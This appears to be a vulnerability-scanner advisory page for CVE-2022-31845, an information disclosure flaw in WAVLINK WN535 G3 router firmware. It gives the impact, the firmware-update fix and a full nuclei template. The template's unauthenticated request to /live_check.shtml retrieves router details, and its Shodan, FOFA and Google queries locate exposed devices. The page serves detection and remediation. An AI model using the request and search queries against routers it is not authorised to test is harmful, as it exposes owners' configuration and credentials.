WAVLINK WN535 G3 - Information Disclosure

highseverity

7.5CVSS score

8.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in live_check.shtml. An attacker can obtain sensitive router information via execution of the exec cmd function and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as login credentials or network configuration.

Fix

Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: contains "Model=" and "FW_Version=" and "LanIP=" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31845 -u <target>

The full check

id: CVE-2022-31845

info:
  name: WAVLINK WN535 G3 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in live_check.shtml. An attacker can obtain sensitive router information via execution of the exec cmd function and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as login credentials or network configuration.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31845
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31845
    cwe-id: CWE-668
    epss-score: 0.08698
    epss-percentile: 0.95175
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /live_check.shtml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Model='
          - 'FW_Version='
          - 'LanIP='
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from